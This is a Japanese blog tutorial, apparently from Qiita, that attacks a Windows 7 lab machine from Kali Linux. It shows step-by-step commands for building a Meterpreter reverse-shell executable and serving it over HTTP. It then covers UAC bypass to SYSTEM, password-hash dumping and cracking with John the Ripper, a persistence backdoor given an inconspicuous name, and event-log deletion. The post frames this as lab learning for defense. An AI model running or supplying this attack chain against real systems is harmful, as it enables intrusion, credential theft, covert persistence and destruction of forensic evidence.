8
6

Delete article

Deleted articles cannot be recovered.

Draft of this article would be also deleted.

Are you sure you want to delete this article?

More than 5 years have passed since last update.

ハック技術: Windows7ハック #3 Exploit、情報奪取、権限昇格、バックドア設置、ログ消し編

Last updated at Posted at 2019-05-04

#ゆるいハッキング大会」に参加した。
ハッキング熱が高まった。

ハッキング・ラボのつくりかた」を勢いで購入。

今回は、ハッキング・ラボの作り方に載っているWindows7のやり方の、
・Exploit
・情報奪取
・権限昇格
・バックドア設置
・ログ消し
の流れ。

お約束

本記事は、
・防御の為に敵の攻撃を知る
・技術力向上
を目的としている為、記載内容を悪用する事は禁じます。
記載内容を実行した結果として生じた全ての事に、私は一切責任を負いません。

環境について

0.自分のノートPC

 HP HP Spectre x360 Convertible 13-ac0XX/827E, BIOS F.31 04/27/2017
 Linux dsnote 4.15.0-48-generic #51~16.04.1-Ubuntu SMP Fri Apr 5 12:01:12 UTC 2019 x86_64 GNU/Linux

1. KaliLinux

ハック技術: KaliLinux on Docker - Qiita

2. Windows7(攻撃対象)

ハック技術: Windows7ハック #1 Vagrant VirtualBoxで環境セットアップ編 (on Ubuntu) - Qiita

Exploit, 遠隔操作開始まで

1. Windows向け, TCP型のリバースシェル, ペイロードの検索

ペイロード: 悪意のある動作をする実行コード

# msfconsole

msf > show exploits
msf > search type:payload reverse_tcp platform:windows
...略...
  9   payload/windows/meterpreter/reverse_tcp                                   normal  No     Windows Meterpreter (Reflective Injection), Reverse TCP Stager
...略...

payload/windows/meterpreter/reverse_tcpを使う。

2. ペイロードの作成

msf > msfvenom -p windows/meterpreter/reverse_tcp lhost=172.28.128.1 -f exe -o /root/evil.exe

-p : ペイロードのパス
-f : 出力ファイルの形式
-o : 出力ファイルのパス
lhost : ペイロードのオプションの一つ。接続先の指定。

出力されたペイロードを、何とかして攻撃対象に実行してもらう。

3. 外部からペイロードにアクセスできるようにする

# cd /var/www/html
# mkdir share
# cp /root/evil.exe share/
# chmod -R 755 share
# service apache2 restart

windows側からhttp://172.28.128.1/share/ にアクセス。
evil.exeがダウンロード可能か確かめる。

4. Kaliで、リバースシェルを待ち受ける

msf > use exploit/multi/handler
msf exploit(multi/handler) > set payload windows/meterpreter/reverse_tcp
msf exploit(multi/handler) > set lhost 172.28.128.1
msf exploit(multi/handler) > show options
 設定されているオプションを確認できる。
msf exploit(multi/handler) > run
 プロンプトが返らない設定

5. ペイロードの実行

Windows側でevil.exeをダウンロードして実行。
Kali側で、meterpreterのプロンプトが返ってくる。

6. セッション確立を確認(Windows側

netstat -n | find "ESTABLISHED"

7. Windows7の遠隔操作開始

meterpreter > pwd
meterpreter >  ls

パスワードハッシュ取得

1. Windowsのパスワードハッシュ取得の試行

meterpreter > run hashdump
Access is denied.が表示される。
侵入しているユーザの権限が低い。

meterpreter > getsystem
Access is denied.

meterpreter > getuid
Server username: IE11WIN7\IEUser

2. 権限昇格モジュールの試行

既に確立されているセッション1を経由でexploitを実行する。

meterpreter > background
msf exploit(multi/handler) > 
msf exploit(multi/handler) > sessions -i
msf exploit(multi/handler) > use exploit/windows/local/bypassuac
msf exploit(windows/local/bypassuac) > show options
msf exploit(windows/local/bypassuac) > set session 1
msf exploit(windows/local/bypassuac) > set payload windows/meterpreter/reverse_tcp
msf exploit(windows/local/bypassuac) > set lhost 172.28.128.1
msf exploit(windows/local/bypassuac) > show options
msf exploit(windows/local/bypassuac) > exploit
meterpreter >
 エラーが出ずにmeterpreterプロンプトが返ってくると成功
meterpreter > getuid
Server username: IE11WIN7\IEUser
meterpreter > getsystem -t 1
meterpreter > getuid
Server username: NT AUTHORITY\SYSTEM

3. 再度、パスワードハッシュ取得の試行

meterpreter > run hashdump
パスワードハッシュの行をコピペしてテキストファイルに貼り付けて保存。(hash.txt)

パスワードクラック

1. 辞書式攻撃

辞書式攻撃で見つからなかったら、総当り攻撃をする。

# john hash.txt --show
# john --wordlist=/usr/share/john/password.lst --format: nt hash.txt

見つからない。

2. 実験用で辞書ファイルにパスワード追記して辞書式攻撃

# cp /usr/share/john/password.lst .
# echo "Passw0rd!" >> password.lst
# john --wordlist=password.lst --format:nt hash.txt

Administratorユーザのパスワードが判明する。

バックドア設置

1. 不要なセッション閉じる

meterpreter > background
msf exploit(windows/local/bypassuac) > sessions -i

セッション1: 一般ユーザ(タスクマネージャーにevil.exeと表示されている)
セッション2: 特権ユーザ(タスクマネージャーに(ランダムな文字列).exe形式で表示されている
セッション1は不要なので閉じる。

msf exploit(windows/local/bypassuac) > sessions -k 1

2. システム情報の取得

msf exploit(windows/local/bypassuac) > sessions 2
meterpreter > run scraper

~/.msf4/logs/scripts/scraper/_(datetime).(number)ディレクトリ以下に保存される。

3. システムの内部情報にアクセス

meterpreter > shell
C:\Windows\system32 > 

で、windowsならcmd.exeを実行可能。

WindowsにはWMI(Windows Management Instrumentation)というWindowsシステムを管理するためのインターフェイスが備わっている。
wmicを使えばWMIにアクセス可能。

C:\Windows\system32 > wmic startup

で、自動起動の内容を列挙可能。

4. バックドアの設置(自動でペイロードが実行されるようにする)

meterpreter > run persistence -X -i 60 -P windows/meterpeter/reverse_tcp -p 4444 -r 172.28.128.1

or

msf exploit(handler) > use exploit/windows/local/persistence
msf exploit(persistence) > show options
msf exploit(persistence) > set exe_name service1(バレにくい名前にする
msf exploit(persistence) > sessions
msf exploit(persistence) > set session 1
msf exploit(persistence) > show advanced
msf exploit(persistence) > set exe::custom /root/evil.exe
msf exploit(persistence) > run

SysinternalsのAutorunsでFile>Compareで初期設定で作成したarnファイルを指定すると、差分が表示される。

レジストリにVBSスクリプトのパスが設定されているのと、
そのパスにVBSスクリプトが配置されている事を確認できる。

バックドアの削除には、自動起動のバックドアのレジストリ値を削除し、VBSファイルも削除する。
バックドアがvbsなのは、exeだと実行時の確認ダイアログが出るが、VBSだと出ない。

5. 自動起動の確認

Windowsを終了すると、自動的にセッションが閉じる。
リバースシェルの待ち受け状態を作りなおす。
Windowsを再起動する。
IEUser権限でセッションが確立する。

この設定では60秒毎にKali側にセッションを確立しに来る為、その度にVBSから起動したプロセスが立ち上がり、タスクマネージャーに表示されることに注意。

ログ削除

SYSTEM権限奪取後、clearevコマンドを使う。
meterpreter > clearev

eventvwr.mscで確認可能。

ファイル転送が難しい、インストールする暇が無い、などといった状況では、乱暴だがdelコマンドを使う。

C:\Windows\system32 > del %WINDIR%\*.log /a /s /q /f

/a : 削除ファイルの属性を指定
/s : サブフォルダも対象
/q : ワイルドカード使用時に確認メッセージを表示しない
/f : 読み取り専用ファイルを強制的に削除する

自動起動に関するレジストリには他にも種類がある。
調べてみると良い。

おわり

次は、隠蔽化など、ちょっとしたテクニック。
ハック技術: Windows7ハック #4 隠蔽、その他編 - Qiita

8
6
1

Register as a new user and use Qiita more conveniently

  1. You get articles that match your needs
  2. You can efficiently read back useful information
  3. You can use dark theme
What you can do with signing up
8
6

Delete article

Deleted articles cannot be recovered.

Draft of this article would be also deleted.

Are you sure you want to delete this article?